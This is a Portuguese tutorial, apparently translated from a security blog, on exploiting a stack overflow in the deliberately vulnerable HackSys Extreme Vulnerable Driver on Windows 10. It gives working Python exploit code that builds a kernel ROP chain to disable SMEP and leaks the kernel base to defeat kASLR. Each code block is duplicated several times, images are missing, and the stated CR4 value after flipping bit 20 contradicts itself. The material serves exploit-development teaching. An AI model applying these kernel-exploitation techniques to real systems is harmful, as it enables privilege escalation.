Exploração local vs. remota
Quando explorávamos o Vulnserver, fazíamos exploração remota de uma aplicação no espaço de usuário. Esse tipo de ambiente tem certas restrições específicas; as mais notórias são o espaço limitado do buffer para inserir nosso payload, as restrições de caracteres e o ASLR (Address Space Layout Randomization).
Quando exploramos o kernel do Windows, presume-se que já temos acesso local sem privilégios à máquina alvo. Nesse ambiente, essas restrições deixam de ser um grande problema. Por exemplo, o problema do espaço do buffer e as restrições de caracteres são facilmente contornados ao alocar memória dinâmica com VirtualAlloc(), movendo o payload bruto para esse buffer e sobrescrevendo o EIP com o ponteiro retornado.
O ASLRe o kASLR (Kernel ASLR) também não são um problema, porque funcionam aleatorizando a memória base dos módulos a cada reinício, mas, se tivermos acesso local, há funções na API do Windows que revelam o endereço base atual do kernel.
No entanto, outras proteções entram em cena ao tentar explorar no nível do kernel, como DEP, SMEP, CFG,etc. Certamente vamos nos deparar com algumas delas mais adiante. Fique ligado.
Exploração do estouro de pilha
Encerramos nosso artigo anterior artigo anterior realizando um DoS na máquina alvo, no qual usamos o seguinte exploit:
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)E conseguimos sobrescrever o EIP com o valor 41414141.Se formos fazer algo mais interessante, devemos começar por localizar o offset exato em que o EIP é sobrescrito. Assim como em qualquer outro processo de exploração no espaço de usuário, podemos criar um padrão cíclico para encontrar esse offset. Podemos usar o mona para issot:

Depois, atualizamos nosso exploit:
:
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
E verificamos:

Bom, o mona descobriu que o EIP é sobrescrito a partir do byte 2080.
Agora, para fins ilustrativos, criaremos um shellcode simples para fazer EAX = 0xdeadbeef. Depois, devemos copiá-lo em um local gerado dinamicamente criado por VirtualAlloc(). O valor de retorno de VirtualAlloc()é um ponteiro que será colocado a partir do byte 2081 do nosso buffer para desviar o fluxo de execução para o nosso shellcode.
Vamos atualizar nosso exploit com isso:
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)Se tudo sair como esperado, o EAX terá o valor 0xdeadbeef e a execução vai parar no breakpoint \xcc que inserimos. Vamos verificar:

Ops!
Nosso exploit foi frustrado e o erro ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY foi disparado quando a primeira instrução do nosso shellcode tentava ser executada. Isso significa que o SMEP de fato protegeu o kernel.
SMEP: Supervisor Mode Execution Prevention
Há um conceito chamado Protection rings (anéis de proteção) que os sistemas operacionais usam para delimitar capacidades e oferecer tolerância a falhas, definindo níveis de privilégios. As versões do sistema operacional Windows usam apenas 2 níveis de privilégio atuais (CPL, Current Privilege Levels): 0 e 3. Os níveis CPL também são chamados de anéis (rings). O CPL0 ou ring-0 é onde o kernel é executado, e o CPL3 ou ring-3 é onde as instruções em modo usuário são realizadas.
O SMEP é uma proteção introduzida no nível da CPU que impede que o kernel execute código pertencente ao ring-3.
A exceção ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY foi disparada porque o HEVD é executado no ring-0e, após sobrescrever o EIP, tentava executar as instruções do nosso shellcode, que estava alocado no ring-3.
Tecnicamente, o SMEP nada mais é do que um bit em um registrador de controle da CPU, especificamente o bit 20 do registrador de controle CR4:

Para contornar o SMEP, devemos inverter esse bit (torná-lo 0). Como se vê, o valor atual de CR4 com o SMEPhabilitado é 000406e9. Vamos ver qual seria o valor após inverter o bit 20:

Seria 000406e9. Precisamos colocar esse valor em CR4para desligar o SMEP.
Mas como fazer isso se não temos permissão para executar instruções no ring-3? O ROP vem ao resgate! Precisamos executar uma cadeia ROPcom instruções que já estão em modo kernel. No ring-0, o ROP costuma ser chamado de kROP. Então precisamos executar uma cadeia kROP e alterar o valor de CR4 Com isso, devemos conseguir fazer EAX = 0xdeadbeef.
Em nt!KeFlushCurrentTb, encontramos um gadget que define o CR4 a partir do valor que o EAXtiver: mov cr4, eax # ret.

Agora, precisamos calcular o offset desse gadget ROP a partir do início do módulo nt:

O offset é 0011f8de. Vamos usá-lo mais adiante.
Agora precisamos encontrar um gadget pop eax # ret. Podemos encontrar um em nt!_MapCMDevicePropertyToNtProperty+0x39:

E o offset a partir do início do módulo nt é 0002bbef:

Devemos lembrar de preencher nossa cadeia ROP com 8 bytes, porque o epílogo da função que sofreu o estouro usa ret 8, que retornará ao valor apontado por ESP e depois retirará 8 bytes da pilha::

Com isso, já podemos desabilitar oSMEP!
Derrotando o kASLR
Já temos todas as informações necessárias para criar a cadeia ROP que desabilita o SMEP. No entanto, precisamos lidar com o ASLR do kernel. Como mencionei antes, há várias funções que podem ser executadas em modo usuário (ring-3) e que fornecem informações de endereços no ring-0. As mais usadas são NtQuerySystemInformation() e EnumDeviceDrivers(). Esta última é a mais simples. Com o código a seguir, você pode obter o endereço base do kernel:
import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')E verificamos:

Como você pode ver, coincide perfeitamente com o endereço reportado pelo WinDBG:

Com isso, podemos atualizar nosso exploit, adicionando a cadeia ROP para desabilitar o SMEP, usando os offsets dos gadgets e o valor retornado por essa função para obter endereços absolutos, derrotando o kASLR!!
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)Parece bom. Agora verifique:

E este é o conteúdo do registrador CR4:

Como você pode ver, ¡conseguimos desabilitar o SMEP e fizemos EAX = 0xdeadbeef!
Conclusões
Nesta publicação, conseguimos executar um shellcode que fez EAX = 0xdeadbeef. Também contornamos a proteção SMEP usando uma cadeia kROP e derrotamos o kASLR vazando o endereço base do kernel a partir do ring-3. No entanto, ainda precisamos obter uma shell privilegiada neste sistema, o que será abordado no póximo artigo.